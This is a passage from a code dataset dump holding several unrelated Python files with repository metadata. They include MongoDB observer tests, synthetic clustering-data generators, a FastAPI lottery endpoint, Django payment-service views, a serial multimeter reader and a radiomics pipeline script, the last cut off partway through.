cv2.destroyAllWindows()\n\nmain()","repo_name":"dassoukhi/distanc-IA-tion","sub_path":"social_distancing.py","file_name":"social_distancing.py","file_ext":"py","file_size_in_byte":6969,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73026114293","text":"#!/usr/bin/env python\n# coding=utf-8\nfrom __future__ import division, print_function, unicode_literals\nimport datetime\nimport mock\nimport pytest\n\npymongo = pytest.importorskip(\"pymongo\")\nmongomock = pytest.importorskip(\"mongomock\")\n\nfrom sacred.dependencies import get_digest\nfrom sacred.observers.mongo import (MongoObserver, force_bson_encodeable)\n\nT1 = datetime.datetime(1999, 5, 4, 3, 2, 1, 0)\nT2 = datetime.datetime(1999, 5, 5, 5, 5, 5, 5)\n\n\n@pytest.fixture\ndef mongo_obs():\n db = mongomock.MongoClient().db\n runs = db.runs\n fs = mock.MagicMock()\n return MongoObserver(runs, fs)\n\n\n@pytest.fixture()\ndef sample_run():\n exp = {'name': 'test_exp', 'sources': [], 'doc': '', 'base_dir': '/tmp'}\n host = {'hostname': 'test_host', 'cpu_count': 1, 'python_version': '3.4'}\n config = {'config': 'True', 'foo': 'bar', 'answer': 42}\n command = 'run'\n meta_info = {'comment': 'test run'}\n return {\n '_id': 'FEDCBA9876543210',\n 'ex_info': exp,\n 'command': command,\n 'host_info': host,\n 'start_time': T1,\n 'config': config,\n 'meta_info': meta_info,\n }\n\n\ndef test_mongo_observer_started_event_creates_run(mongo_obs, sample_run):\n sample_run['_id'] = None\n _id = mongo_obs.started_event(**sample_run)\n assert _id is not None\n assert mongo_obs.runs.count() == 1\n db_run = mongo_obs.runs.find_one()\n assert db_run == {\n '_id': _id,\n 'experiment': sample_run['ex_info'],\n 'format': mongo_obs.VERSION,\n 'command': sample_run['command'],\n 'host': sample_run['host_info'],\n 'start_time': sample_run['start_time'],\n 'heartbeat': None,\n 'info': {},\n 'captured_out': '',\n 'artifacts': [],\n 'config': sample_run['config'],\n 'meta': sample_run['meta_info'],\n 'status': 'RUNNING',\n 'resources': []\n }\n\n\ndef test_mongo_observer_started_event_uses_given_id(mongo_obs, sample_run):\n _id = mongo_obs.started_event(**sample_run)\n assert _id == sample_run['_id']\n assert mongo_obs.runs.count() == 1\n db_run = mongo_obs.runs.find_one()\n assert db_run['_id'] == sample_run['_id']\n\n\ndef test_mongo_observer_equality(mongo_obs):\n runs = mongo_obs.runs\n fs = mock.MagicMock()\n m = MongoObserver(runs, fs)\n assert mongo_obs == m\n assert not mongo_obs != m\n\n assert not mongo_obs == 'foo'\n assert mongo_obs != 'foo'\n\n\ndef test_mongo_observer_heartbeat_event_updates_run(mongo_obs, sample_run):\n mongo_obs.started_event(**sample_run)\n\n info = {'my_info': [1, 2, 3], 'nr': 7}\n outp = 'some output'\n mongo_obs.heartbeat_event(info=info, captured_out=outp, beat_time=T2)\n\n assert mongo_obs.runs.count() == 1\n db_run = mongo_obs.runs.find_one()\n assert db_run['heartbeat'] == T2\n assert db_run['info'] == info\n assert db_run['captured_out'] == outp\n\n\ndef test_mongo_observer_completed_event_updates_run(mongo_obs, sample_run):\n mongo_obs.started_event(**sample_run)\n\n mongo_obs.completed_event(stop_time=T2, result=42)\n\n assert mongo_obs.runs.count() == 1\n db_run = mongo_obs.runs.find_one()\n assert db_run['stop_time'] == T2\n assert db_run['result'] == 42\n assert db_run['status'] == 'COMPLETED'\n\n\ndef test_mongo_observer_interrupted_event_updates_run(mongo_obs, sample_run):\n mongo_obs.started_event(**sample_run)\n\n mongo_obs.interrupted_event(interrupt_time=T2, status='INTERRUPTED')\n\n assert mongo_obs.runs.count() == 1\n db_run = mongo_obs.runs.find_one()\n assert db_run['stop_time'] == T2\n assert db_run['status'] == 'INTERRUPTED'\n\n\ndef test_mongo_observer_failed_event_updates_run(mongo_obs, sample_run):\n mongo_obs.started_event(**sample_run)\n\n fail_trace = \"lots of errors and\\nso\\non...\"\n mongo_obs.failed_event(fail_time=T2,\n fail_trace=fail_trace)\n\n assert mongo_obs.runs.count() == 1\n db_run = mongo_obs.runs.find_one()\n assert db_run['stop_time'] == T2\n assert db_run['status'] == 'FAILED'\n assert db_run['fail_trace'] == fail_trace\n\n\ndef test_mongo_observer_artifact_event(mongo_obs, sample_run):\n mongo_obs.started_event(**sample_run)\n\n filename = \"setup.py\"\n name = 'mysetup'\n\n mongo_obs.artifact_event(name, filename)\n\n assert mongo_obs.fs.put.called\n assert mongo_obs.fs.put.call_args[1]['filename'].endswith(name)\n\n db_run = mongo_obs.runs.find_one()\n assert db_run['artifacts']\n\n\ndef test_mongo_observer_resource_event(mongo_obs, sample_run):\n mongo_obs.started_event(**sample_run)\n\n filename = \"setup.py\"\n md5 = get_digest(filename)\n\n mongo_obs.resource_event(filename)\n\n assert mongo_obs.fs.exists.called\n mongo_obs.fs.exists.assert_any_call(filename=filename)\n\n db_run = mongo_obs.runs.find_one()\n assert db_run['resources'] == [(filename, md5)]\n\n\ndef test_force_bson_encodable_doesnt_change_valid_document():\n d = {'int': 1, 'string': 'foo', 'float': 23.87, 'list': ['a', 1, True],\n 'bool': True, 'cr4zy: _but_ [legal) Key!': '$illegal.key.as.value',\n 'datetime': datetime.datetime.utcnow(), 'tuple': (1, 2.0, 'three'),\n 'none': None}\n assert force_bson_encodeable(d) == d\n\n\ndef test_force_bson_encodable_substitutes_illegal_value_with_strings():\n d = {\n 'a_module': datetime,\n 'some_legal_stuff': {'foo': 'bar', 'baz': [1, 23, 4]},\n 'nested': {\n 'dict': {\n 'with': {\n 'illegal_module': mock\n }\n }\n },\n '$illegal': 'because it starts with a $',\n 'il.legal': 'because it contains a .',\n 12.7: 'illegal because it is not a string key'\n }\n expected = {\n 'a_module': str(datetime),\n 'some_legal_stuff': {'foo': 'bar', 'baz': [1, 23, 4]},\n 'nested': {\n 'dict': {\n 'with': {\n 'illegal_module': str(mock)\n }\n }\n },\n '@illegal': 'because it starts with a $',\n 'il,legal': 'because it contains a .',\n '12,7': 'illegal because it is not a string key'\n }\n assert force_bson_encodeable(d) == expected\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/IDSIA_sacred/sacred-master/tests/test_observers/test_mongo_observer.py","file_name":"test_mongo_observer.py","file_ext":"py","file_size_in_byte":6159,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"38493682507","text":"''' A set of file io routines to handle input data '''\n\nfrom typing import Callable, TypeVar\n\nidentity = lambda x: x\nReturnValue = TypeVar(\"ReturnValue\")\ndef read(filename: str,\n func: Callable[[str], ReturnValue] = identity\n ) -> list[ReturnValue]:\n with open(filename) as read_file:\n return [func(l.strip()) for l in read_file]\n\ndef read_ints(filename: str) -> list[int]:\n return read(filename, int)\n","repo_name":"pviafore/AdventOfCode2020","sub_path":"common/input_data.py","file_name":"input_data.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9396759502","text":"import numpy as np\nfrom math import cos, sin\n\n\ndef normalise_data_and_centroids(dataset, centroids):\n \"\"\"Normalise dataset and centroids to 0-1 range.\n\n :param ndarray dataset: dataset of clusters\n :param ndarray centroids: centers of each cluster\n :return: ndarray normalised dataset, ndarray normalised clusters\n \"\"\"\n\n min_data, max_data = np.min(dataset, axis=0), np.max(dataset, axis=0)\n normalised_dataset = (dataset - min_data) / (max_data - min_data)\n normalised_centroids = (centroids - min_data) / (max_data - min_data)\n return normalised_dataset, normalised_centroids\n\n\ndef make_grid(no_clusters_per_feature, cluster_size, return_means=False):\n \"\"\"Make a grid like structure of spherical clusters\n\n :param ndarray no_clusters_per_feature: number of rows of cluster per feature\n :param int cluster_size: number of data points in each cluster\n :param bool return_means: if centroids of each cluster should be returned\n :return: ndarray dataset of grid and ndarray of centroids (if return_means = True)\n \"\"\"\n no_features = len(no_clusters_per_feature)\n # generate centroids of each grid\n feature_centres = []\n for cluster_in_feature in no_clusters_per_feature:\n feature_centres.append([np.mean([i/cluster_in_feature, (i+1)/cluster_in_feature]) for i in range(cluster_in_feature)])\n means = []\n for x_vals in feature_centres:\n if len(means) == 0:\n for x in x_vals:\n means.append([x])\n else:\n cur_len = len(means)\n means = means * len(x_vals)\n for index, x in enumerate(x_vals):\n for i in range(cur_len * index, cur_len * index + cur_len):\n means[i] = means[i] + [x]\n std = [1/(10 * no_cluster) for no_cluster in no_clusters_per_feature]\n\n grid_dataset = None\n for index, mean in enumerate(means):\n # generate samples\n cluster = np.random.normal(mean, std, size=[cluster_size, no_features])\n if grid_dataset is None:\n grid_dataset = cluster\n else:\n grid_dataset = np.vstack((grid_dataset, cluster))\n\n # Normalise to the 0-1 range\n grid_dataset, means = normalise_data_and_centroids(dataset=grid_dataset, centroids=np.array(means))\n if return_means:\n return grid_dataset, means\n return grid_dataset\n\n\ndef make_highly_correlated(cluster_size, return_means=False, theta=None):\n \"\"\"Make highly correlated synthetic dataset to test.\n Second and third feature generated from the same centroids.\n\n :param int cluster_size: number of data points in each cluster\n :param bool return_means: if centroids of each cluster should be returned\n :param float rotation: amount of rotation in degrees of second and third feature\n (default is 45 degrees if not specified)\n :return: dataset\n :rtype: ndarray\n \"\"\"\n means = np.array([[.25, .25, .25],\n [.75, .25, .25],\n [.25, .75, .75],\n [.75, .75, .75]])\n\n std = [1 / (10 * 2) for _ in range(3)]\n\n dataset = None\n for index, mean in enumerate(means):\n # generate dataset\n cluster = np.random.normal(mean, std, size=[cluster_size, 3])\n if dataset is None:\n dataset = cluster\n else:\n dataset = np.vstack((dataset, cluster))\n if theta is not None:\n dataset, means = rotate_highly_correlated(dataset=dataset, means=means, theta=theta-45)\n # Normalise to the 0-1 range\n dataset, means = normalise_data_and_centroids(dataset=dataset, centroids=means)\n if return_means:\n return dataset, means\n return dataset\n\n\ndef rotate_2d(vector, theta):\n \"\"\"Rotate a given vector by degree theta (in degrees).\n\n :param ndarray vector: 2-dimensional data point\n :param float theta: angle in degrees\n :return: vector rotated by theta.\n :rtype: ndarray\n \"\"\"\n theta = np.deg2rad(theta)\n rot = np.array([[cos(theta), -sin(theta)], [sin(theta), cos(theta)]])\n return np.dot(rot, vector)\n\n\ndef rotate_highly_correlated(dataset, means, theta):\n \"\"\"Rotate the highly correlated dataset.\n\n :param ndarray dataset: a highly correlated dataset\n :param ndarray means: centroids of each cluster in the highly correlated dataset\n :param float theta: angle of rotation (in degrees)\n :return: ndarray of rotated highly correlated dataset and ndarray of rotated means\n \"\"\"\n # recenter each data point and rotate\n mid_pt = np.array([.5, .5])\n for index, value in enumerate(dataset):\n dataset[index][1:] = np.array(rotate_2d(vector=dataset[index][1:] - mid_pt, theta=theta)) + mid_pt\n # recenter each mean and rotate\n for index, value in enumerate(means):\n means[index][1:] = np.array(rotate_2d(vector=means[index][1:] - mid_pt, theta=theta)) + mid_pt\n return dataset, means\n","repo_name":"gem645/interpretable_clustering","sub_path":"generate_synthetic_datasets/generate_data.py","file_name":"generate_data.py","file_ext":"py","file_size_in_byte":4905,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"15988849297","text":"import redis\nfrom fastapi import Depends, FastAPI\nfrom fastapi import FastAPI\nfrom pydantic import BaseModel\n\nfrom utils.ssq import get_by_randomorg, get_by_system, get_combinations\n\napp = FastAPI()\nrdb = redis.Redis(host=\"localhost\", port=\"6379\", db=0, decode_responses=True)\n\n\nclass Ssq(BaseModel):\n code: int\n data: dict\n\n\n@app.post(\"/ssq\", summary=\"获取随机双色球\", response_model=Ssq)\nasync def get_random_ssq(method: str = \"system\") -> dict:\n \"\"\"_summary_: 获取随机双色球\n\n Args:\n method (str, optional): 随机方法. 默认system,假随机; randomorg,真随机.\n\n Returns:\n {code: int, data: object},code=0,成功; code=1,失败.\n data: {list: 双色球,date: 日期,bouns:奖金,peopleNum:同期中奖人数}\n \"\"\"\n model = Ssq(code=0, data=[], bounes=[])\n if method == \"randomorg\":\n sdata = get_by_randomorg()\n elif method == \"system\":\n sdata = get_by_system()\n else:\n sdata = []\n model.code = 1\n model.data[\"list\"] = sdata\n key_list = get_combinations(sdata)\n bouns = []\n for key in key_list:\n bouns = rdb.lrange(key, 0, -1)\n if len(bouns) > 0:\n break\n if bouns:\n model.data[\"date\"] = bouns[0]\n model.data[\"bouns\"] = bouns[1]\n model.data[\"peopleNum\"] = bouns[2]\n else:\n model.data[\"date\"] = \"\"\n model.data[\"bouns\"] = \"\"\n model.data[\"peopleNum\"] = \"\"\n return model\n","repo_name":"harrylyx/lottery_applet","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"17313179423","text":"from typing import ClassVar\n\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.db import IntegrityError\nfrom django.db.transaction import atomic\nfrom rest_framework.viewsets import GenericViewSet\nfrom rest_framework.response import Response\nfrom rest_framework import status, serializers\n\nfrom apps.api_stp.exc import StpmexException\nfrom MANAGEMENT.EndPoint.EndPointInfo import get_info\nfrom MANAGEMENT.Logs.SystemLog import RegisterSystemLog\nfrom apps.logspolipay.manager import RegisterLog\nfrom apps.services_pay.api.mobile.serializers.transmitter_serializer import SerializerTransmitter, \\\n SerializerTransmitterOut, SerializerRefrence, SerializerTransmitterHaveReference, SerializerPayTransmitter, \\\n SerializerFrequentTransmitterOut, SerializerCheckBalanceRedEfectiva, SerializerCheckCommissionRedEfectiva\nfrom apps.services_pay.management import existing_account, generate_list_frequents, get_info_account_from_person, \\\n create_response_trantype30, \\\n create_response_trantype32\nfrom apps.services_pay.models import Transmitter, Fee, TransmitterHaveReference, Reference, Frequents\nfrom apps.users.models import persona\n\n\nclass TransmitterCrud(GenericViewSet):\n serializer_class = SerializerTransmitter\n\n def create(self, request):\n serializer = self.serializer_class(data=request.data)\n if serializer.is_valid(raise_exception=True):\n serializer.save()\n return Response({\"status\": [\n {\n \"code\": 201,\n \"status\": \"SUCCESS\",\n \"field\": \"\",\n \"data\": \"\",\n \"message\": \"Emisor creado correctamente\"\n }]}, status=status.HTTP_200_OK)\n\n def list(self, request):\n keywords = {}\n try:\n id = self.request.query_params['id']\n keywords['catRel_id'] = id\n except:\n keywords = {}\n query = Transmitter.objects.filter(**keywords)\n serializer = SerializerTransmitterOut(query, many=True)\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n def update(self, request, pk=None):\n instance = Transmitter.objects.get(id=pk)\n serializer = self.serializer_class(data=request.data)\n if serializer.is_valid(raise_exception=True):\n serializer.update(instance, serializer.validated_data)\n return Response(status=status.HTTP_200_OK)\n\n def destroy(self, request, pk=None):\n instance = Transmitter.objects.get(id=pk)\n Fee.objects.filter(transmitter_id=pk).delete()\n TransmitterHaveReference.objects.filter(transmitter_id=pk).delete()\n if instance.image != None:\n instance.image.delete()\n instance.delete()\n return Response(status=status.HTTP_200_OK)\n\n\nclass ReferenceCrud(GenericViewSet):\n serializer_class = SerializerRefrence\n\n def create(self, request):\n serializer = self.serializer_class(data=request.data)\n if serializer.is_valid(raise_exception=True):\n serializer.save()\n return Response({\"status\": [\n {\n \"code\": 201,\n \"status\": \"SUCCESS\",\n \"field\": \"\",\n \"data\": \"\",\n \"message\": \"Referencia creada correctamente\"\n }]}, status=status.HTTP_200_OK)\n\n def list(self, request):\n query = Reference.objects.all()\n serializer = self.serializer_class(query, many=True)\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n def destroy(self, request, pk=None):\n Reference.objects.get(id=pk).delete()\n return Response(status=status.HTTP_200_OK)\n\n def update(self, request, pk=None):\n instance = Reference.objects.get(id=pk)\n serializer = self.serializer_class(data=request.data)\n if serializer.is_valid(raise_exception=True):\n serializer.update(instance, serializer.validated_data)\n return Response(status=status.HTTP_200_OK)\n\n\nclass TransmitterHaveReferenceCrud(GenericViewSet):\n serializer_class = SerializerTransmitterHaveReference\n\n def create(self, request):\n serializer = self.serializer_class(data=request.data)\n if serializer.is_valid(raise_exception=True):\n serializer.save()\n return Response(status=status.HTTP_200_OK)\n\n def list(self, request):\n query = TransmitterHaveReference.objects.all()\n serializer = self.serializer_class(query, many=True)\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n def destroy(self, request, pk=None):\n TransmitterHaveReference.objects.get(id=pk).delete()\n return Response(status=status.HTTP_200_OK)\n\n def update(self, request, pk=None):\n instance = TransmitterHaveReference.objects.get(id=pk)\n serializer = self.serializer_class(data=request.data)\n if serializer.is_valid(raise_exception=True):\n serializer.update(instance, serializer.validated_data)\n return Response(status=status.HTTP_200_OK)\n\n\nclass PayTransmitterCreate(GenericViewSet):\n serializer_class = SerializerPayTransmitter\n _log: ClassVar[RegisterLog] = RegisterLog\n\n def create(self, request):\n log = self._log(request.user, request)\n log_efectiva_obj = None\n\n try:\n with atomic():\n # guardar la peticion en el log de polipay\n endpoint = get_info(request)\n persona = existing_account(request.data['cuenta'], endpoint)\n log.json_request(request.data)\n context = {\"person_id\": persona, \"endpoint\": endpoint, \"log\": log}\n serializer = self.serializer_class(data=request.data, context=context)\n if serializer.is_valid(raise_exception=True):\n response, log_efectiva_obj = serializer.create(serializer.validated_data)\n if response.solicitaResult != 0:\n raise ValueError(\"Error al realizar el pago\")\n\n if response.solicitaResult == 0:\n log_efectiva_obj.save()\n\n except (TypeError, IndexError) as e:\n RegisterSystemLog(idPersona=persona, type=1, endpoint=endpoint, objJsonResponse=str(e))\n return Response({\"status\": str(e)}, status=status.HTTP_400_BAD_REQUEST)\n\n except (ValueError, ObjectDoesNotExist, IntegrityError) as e:\n RegisterSystemLog(idPersona=persona, type=1, endpoint=endpoint, objJsonResponse=str(e))\n log_efectiva_obj.save()\n return Response({\"status\": str(e)}, status=status.HTTP_400_BAD_REQUEST)\n\n else:\n dict_person = get_info_account_from_person(persona)\n message_request_succesfull = {\"status\": [response['MsgTicket']['MsgTicket']['Msg']], \"data\": dict_person}\n RegisterSystemLog(idPersona=persona, type=1, endpoint=endpoint, objJsonResponse=message_request_succesfull)\n return Response(message_request_succesfull, status=status.HTTP_200_OK)\n\n\nclass FrequentTransmitterRD(GenericViewSet):\n serializer_class = SerializerFrequentTransmitterOut\n\n def list(self, request):\n RegisterSystemLog(idPersona=request.user.id, type=1, endpoint=get_info(request), objJsonRequest=request.data)\n query = Frequents.objects.select_related('transmmiter_Rel').filter(user_rel=request.user.id)\n list_frequents = generate_list_frequents(query)\n serializer = self.serializer_class(list_frequents, many=True)\n\n RegisterSystemLog(idPersona=request.user.id, type=1, endpoint=get_info(request),\n objJsonResponse=serializer.data)\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n def destroy(self, request, pk=None):\n url: str = get_info(request)\n user: persona = request.user\n\n try:\n with atomic():\n RegisterSystemLog(idPersona=user.get_only_id(), type=1, endpoint=url, objJsonRequest=request.data)\n instance_frequent = Frequents.objects.filter(user_rel=user, transmmiter_Rel=pk)\n\n # Verifica que exista el servicio como frecuente\n if not instance_frequent:\n err = {\"status\": \"Id emisor no encontrado\"}\n RegisterSystemLog(idPersona=user.get_only_id(), type=1, endpoint=url, objJsonResponse=err)\n raise serializers.ValidationError(err)\n\n instance_frequent2 = Frequents.objects.get(user_rel=user, transmmiter_Rel=pk)\n instance_transmmitter = Transmitter.objects.get(id=instance_frequent2.transmmiter_Rel.id)\n\n instance_frequent.delete()\n\n except (ObjectDoesNotExist, ValueError, TypeError, IntegrityError) as e:\n err = {\"status\": \"Ocurrio un error al eliminar la cuenta frecuente\"}\n RegisterSystemLog(idPersona=user.get_only_id(), type=1, endpoint=url, objJsonResponse=str(e))\n return Response(err)\n else:\n succ = {\"status\": f\"El Servicio {instance_transmmitter.name_transmitter} \\n ha sido borrado de frecuentes\"}\n RegisterSystemLog(idPersona=user.get_only_id(), type=1, endpoint=url, objJsonResponse=succ)\n return Response(succ, status=status.HTTP_200_OK)\n\n\n# (EduCed) Clase para consultar el saldo a pagar por medio de la referencia (red efectiva)\nclass CheckBalanceRedEfectiva(GenericViewSet):\n serializer_class = SerializerCheckBalanceRedEfectiva\n\n def create(self, request):\n endpoint: str = get_info(request)\n user: persona = request.user\n\n try:\n with atomic():\n RegisterSystemLog(idPersona=user.get_only_id(), type=1, endpoint=endpoint, objJsonRequest=request.data)\n\n context = {\n \"person_id\": persona,\n \"endpoint\": endpoint\n }\n\n serializer = self.serializer_class(data=request.data, context=context)\n serializer.is_valid(raise_exception=True)\n response, ticket = serializer.create()\n movil_response = create_response_trantype30(response, context)\n\n except (ObjectDoesNotExist, ValueError, TypeError, IntegrityError) as e:\n err = {\"status\": \"Ocurrio un error al consultar el saldo a pagar\"}\n RegisterSystemLog(idPersona=user.get_only_id(), type=1, endpoint=endpoint, objJsonResponse=err)\n return Response(err, status=status.HTTP_400_BAD_REQUEST)\n\n else:\n RegisterSystemLog(idPersona=user.get_only_id(), type=1, endpoint=endpoint, objJsonResponse=movil_response)\n return Response(movil_response, status=status.HTTP_200_OK)\n\n\n# (EduCed) Clase para consultar el saldo a pagar por medio de la referencia (red efectiva)\nclass CheckCommissionRedEfectiva(GenericViewSet):\n serializer_class = SerializerCheckCommissionRedEfectiva\n\n def create(self, request):\n endpoint = get_info(request)\n user: persona = request.user\n try:\n RegisterSystemLog(idPersona=user.get_only_id(), type=1, endpoint=endpoint, objJsonRequest=request.data)\n\n with atomic():\n context = {\n \"person_id\": persona,\n \"endpoint\": endpoint\n }\n\n serializer = self.serializer_class(data=request.data, context=context)\n serializer.is_valid(raise_exception=True)\n response, ticket = serializer.create()\n movil_response = create_response_trantype32(response, context)\n\n except (ObjectDoesNotExist, ValueError, TypeError, IntegrityError) as e:\n err = {\"status\": \"Ocurrio un error al consultar la comisión\"}\n RegisterSystemLog(idPersona=user.get_only_id(), type=1, endpoint=endpoint, objJsonResponse=err)\n return Response(err, status=status.HTTP_400_BAD_REQUEST)\n else:\n RegisterSystemLog(idPersona=user.get_only_id(), type=1, endpoint=endpoint, objJsonResponse=movil_response)\n return Response(movil_response, status=status.HTTP_200_OK)\n","repo_name":"ManuelCL-jml/Polipay-Backup","sub_path":"apps/services_pay/api/mobile/views/transmitter_view.py","file_name":"transmitter_view.py","file_ext":"py","file_size_in_byte":12176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37897392981","text":"import serial\n\nser=serial.Serial()\nser.port='COM4' # Enter the name of the serial port\nser.baudrate = 9600\nser.timeout = 1 #Set the timeout to 1 sec\nser.setRTS(0) # Give the correct value to connection lines RTS and DTR\nser.setDTR(1)\nser.dsrdtr = True # Enable DTR/DSR Handshake\nser.open() # Open the Serial port\nprint(\"Serial details parameters:\", ser) # Print the serial port parameters\n\n# Create a dictionary based on TTI 1604 manual\nkeys = ['0', '0,', '1', '1,', '2', '2,', '3', '3,', '4', '4,', '5', '5,', '6', '6,', '7', '7,', '8', '8,', '9', '9,']\nvalues = [252, 253, 96, 97, 218, 219, 242, 243, 102, 103, 182, 183, 190, 191, 224, 225, 254, 255, 230, 231]\ndictionary = dict(zip(values, keys))\n\n#function to calculated the reading\ndef read_measurement(unit):\n\n # Empty Lists\n dec_list = []\n buffer = []\n\n # Loop to find the first byte with \\r and read the next 9 bytes\n while 1:\n found = False\n x = ser.read(1)\n if x == b'\\r':\n buffer.append(x)\n for i in range(9):\n x = ser.read(1)\n buffer.append(x)\n break\n\n # Translate the buffer to decimal\n for item in buffer:\n dec_list.append(ord(item))\n\n # Get only the display digits, meaning char(4), char(5), char(6), char(7), char(8) based on manual\n dis_digits = dec_list[4:9]\n\n # Check the dictionary and make the translation based on the manual\n for i in range(0, 19):\n for j in range(0, 5):\n if dis_digits[j] == values[i]:\n dis_digits[j] = keys[i]\n elif dis_digits[j] == values[i + 1]:\n dis_digits[j] = keys[i + 1]\n\n #Debug output\n # print(\"Buffer output:\\t\", buffer)\n # print('Output in decimal:\\t' + str(dec_list))\n # print(\"Display digits are:\\t\" + str(dis_digits))\n\n #Output measurement\n dis_digits_string = (str(dis_digits[0]) + str(dis_digits[1]) + str(dis_digits[2]) + str(dis_digits[3]) + str(dis_digits[4]))\n measurement = float(dis_digits_string.replace(',', '.'))\n\n if unit == 'f':\n unit_word = 'Volts'\n elif unit == 'd':\n unit_word = 'Ampere'\n elif unit == 'e':\n unit_word = 'mAmpere'\n elif unit == 'i':\n unit_word = 'Ohm'\n elif unit == 'j':\n unit_word = 'Hz'\n print('Measured = ' + str(measurement) + ' ' + unit_word)\n return measurement\n\nflag_stop = False\nprint(\"Pick unit measurement based on number :\\n1 for Volt\\n2 for Ampere\\n3 for mApere\\n4 for Ohm\\n5 for Hz\\n0 Exit\")\nwhile not flag_stop:\n input_val = input('Enter option: ')\n if input_val == '0':\n flag_stop=True\n elif input_val == '1':\n command = 'f'\n ser.write(command.encode()) # Set the display screen to Volts\n ser.reset_input_buffer() # Reset the input buffer\n ser.read(20) # Get rid of potential false readings\n measurement = read_measurement(command)\n elif input_val == '2':\n command = 'd'\n ser.write(command.encode()) # Set the display screen to Amperes\n ser.reset_input_buffer()\n ser.read(20)\n measurement = read_measurement(command)\n elif input_val == '3':\n command = 'e'\n ser.write(command.encode()) # Set the display screen to mAmperes\n ser.reset_input_buffer()\n ser.read(40)\n measurement = read_measurement(command)\n elif input_val == '4':\n command = 'i'\n ser.write(command.encode()) # Set the display screen to Ohms\n ser.reset_input_buffer()\n ser.read(20)\n measurement = read_measurement(command)\n elif input_val == '5':\n command = 'j'\n ser.write(command.encode()) # Set the display screen to Hz\n ser.reset_input_buffer()\n ser.read(20)\n measurement = read_measurement(command)\n else:\n print('Wrong input')\n\nser.close()\n","repo_name":"geosideras/Lab_code","sub_path":"TTI_1604/tti_1604_code.py","file_name":"tti_1604_code.py","file_ext":"py","file_size_in_byte":4031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16652706414","text":"\"\"\"\nPurpose of this script is to study the feature selection stability of BRENT\n\"\"\"\n\nimport pandas as pd\n\nfrom pathlib import Path\n\nfrom mnts.mnts_logger import MNTSLogger\n\nimport joblib\nfrom sklearn import *\n\nimport numpy as np\n\nfrom npc_radiomics.controller import Controller\n\n\ndef main():\n with MNTSLogger(\"./02_pipeline_performance.log\", logger_name=\"main\", log_level='debug', keep_file=True) as logger:\n # Load features & Config\n #-----------------------\n p_feature_a = Path('./output/original_feature-A.xlsx')\n p_feature_b = Path('./output/original_feature-B.xlsx')\n features_a = pd.read_excel(str(p_feature_a), header=(0, 1, 2), index_col=0)\n features_b = pd.read_excel(str(p_feature_b), header=(0, 1, 2), index_col=0)\n p_ctl_setting = Path('./02_configs/BRENT.yml')\n p_pyrad_setting = Path('./02_configs/pyrad_settings.yml')\n\n # Load target\n #------------\n status = Path(\"./output/gt-datasheet.csv\")\n status = pd.read_csv(str(status), index_col=0)\n status.columns = ['Status']\n\n # match target and feature, use the datasheet\n features_a = features_a.loc[status.index]\n features_b = features_b.loc[status.index]\n\n # K-fold options\n n_fold = 5\n splitter = model_selection.StratifiedKFold(n_splits=n_fold, shuffle=True)\n splits = splitter.split(status.index, status[status.columns[0]])\n\n # # Load splits if exist\n # p_existing_split = Path(\"../output/20220324/predict_tables.xlsx\")\n # if p_existing_split.is_file():\n # excel_file = pd.ExcelFile(p_existing_split)\n # excel_dfs = {i: pd.read_excel(excel_file, index_col=0, sheet_name=i) for i in excel_file.sheet_names}\n # all_ids = list(status.index)\n # splits = []\n # for i in excel_dfs:\n # logger.info(f\"{i}\")\n # test_index = [all_ids.index(case_id) for case_id in excel_dfs[i].index]\n # train_index = [all_ids.index(ti) for ti in all_ids if not ti in excel_dfs[i].index]\n # splits.append((train_index, test_index))\n # logger.info(f\"{excel_dfs[i].index}\")\n\n # Storage variables\n fold_freq = {}\n performance = []\n features_rate_table = []\n selected_features_list = []\n output_root = Path('../output/20220412(v2)')\n output_root.mkdir(exist_ok=True)\n summary_file = output_root.joinpath('output_summary.xlsx')\n excel_writter = pd.ExcelWriter(str(summary_file))\n pdt_writter = pd.ExcelWriter(str(output_root.joinpath('predict_tables.xlsx')))\n\n # Training K-Fold\n #----------------\n for fold, (train_index, test_index) in enumerate(splits):\n train_ids, test_ids = [str(status.index[i]) for i in train_index], \\\n [str(status.index[i]) for i in test_index]\n train_ids.sort()\n test_ids.sort()\n\n # Create controller\n controller = Controller(setting=str(p_ctl_setting), param_file=str(p_pyrad_setting))\n\n # Seperate traing and test features\n train_feat_a = features_a.loc[train_ids]\n train_feat_b = features_b.loc[train_ids]\n test_feat_a = features_a.loc[test_ids]\n test_feat_b = features_b.loc[test_ids]\n train_targets = status.loc[train_ids]\n test_targets = status.loc[test_ids]\n\n # No need to normalize for feature selection, its included inside\n load_features = False # Skip the feature selection process\n if not summary_file.is_file() or not load_features:\n controller.fit_df(train_feat_a,\n train_targets,\n train_feat_b)\n features_freq = controller.selector.saved_state['feat_freq']\n features_rate_table.append(pd.Series(features_freq['Rate'], name=f\"freqrate_fold_{fold}\"))\n selected_features = controller.selected_features\n selected_features_list.append(pd.Series([str(i) for i in selected_features],\n name=f\"selected_features_fold_{fold}\"))\n else:\n features_freq = pd.read_excel(str(summary_file), sheet_name=f\"features_freq_fold_{fold}\",\n index_col=[0, 1, 2])\n raise NotImplemented\n fold_freq[fold] = features_freq\n\n # Isolate and normalize the features, try to drop useless metadata first\n results, predict_table = controller.model_builder.fit(train_feat_a[selected_features],\n train_targets,\n test_feat_a[selected_features],\n test_targets)\n best_params = controller.model_builder.saved_state['best_params']\n estimators = controller.model_builder.saved_state['estimators']\n\n # Save results\n performance.append(pd.Series(results, name=f'fold_{fold}'))\n 